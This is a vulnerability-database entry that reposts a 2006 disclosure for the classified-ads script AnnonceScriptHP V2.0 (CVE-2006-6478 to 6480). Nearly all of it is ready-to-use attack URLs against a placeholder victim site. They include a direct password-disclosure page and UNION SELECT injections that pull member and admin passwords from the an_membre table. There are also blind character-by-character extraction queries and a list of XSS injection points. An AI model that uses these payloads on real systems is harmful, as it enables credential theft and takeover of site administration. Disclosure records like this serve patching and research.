AnnonceScriptHP V2.0 Multiple Vulnerabilities

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1053070 漏洞类型
发布时间 2006-12-12 更新时间 2006-12-12
CVE编号 CVE-2006-6480
CVE-2006-6479
CVE-2006-6478
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2006120075
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
AnnonceScriptHP V2.0
--------------------
Vendor site: http://www.scripthp.com/
Product: AnnonceScriptHP V2.0
Vulnerability: XSS & SQL Injection Vulnerability
Credits: Mr_KaLiMaN
Reported to Vendor: 02/12/06
Public disclosure: 09/12/06
 
Description:
------------
Password disclosure (all members):
http://[victim]/[script_annonce_path]/admin/admin_membre/fiche_membre.ph
p?idmembre=1 (1 for admin etc...)

SQL Injection Vulnerability:
http://[victim]/[script_annonce_path]/email.php?id=[SQL INJECTION]
http://[victim]/[script_annonce_path]/email.php?id=-1 UNION SELECT null,passe,pseudo FROM an_membre WHERE idmembre=1#

http://[victim]/[script_annonce_path]/voirannonce.php?no=[SQL INJECTION]
http://[victim]/[script_annonce_path]/voirannonce.php?no=1 AND ORD(SUBSTRING((SELECT passe FROM an_membre WHERE idmembre=1),1,1))=98#

http://[victim]/[script_annonce_path]/admin/admin_membre/fiche_membre.ph
p?idmembre=[SQL INJECTION]
http://[victim]/[script_annonce_path]/admin/admin_membre/fiche_membre.ph
p?idmembre=-1 UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null,null,null,nu
ll,null,null,null FROM etc...#

http://[victim]/[script_annonce_path]/admin/admin_annonce/okvalannonce.p
hp?idannonce=[SQL INJECTION]
http://[victim]/[script_annonce_path]/admin/admin_annonce/okvalannonce.p
hp?idannonce=1%20UNION%20SELECT%20null,null,null,null,null,null,null,nul
l,null,null,null,null#

http://[victim]/[script_annonce_path]/admin/admin_annonce/changeannonce.
php?idannonce=[SQL INJECTION]
http://[victim]/[script_annonce_path]/admin/admin_annonce/changeannonce.
php?idannonce=1 AND ORD(SUBSTRING((SELECT passe FROM an_membre WHERE idmembre=1),1,1))=98#

XSS :
http://[victim]/[script_annonce_path]/erreurinscription.php?email=[XSS]
http://[victim]/[script_annonce_path]/Templates/admin.dwt.php?email=[XSS
]
http://[victim]/[script_annonce_path]/Templates/commun.dwt.php?email=[XS
S]
http://[victim]/[script_annonce_path]/Templates/membre.dwt.php?email=[XS
S]
http://[victim]/[script_annonce_path]/admin/admin_config/Aide.php?email=
[XSS]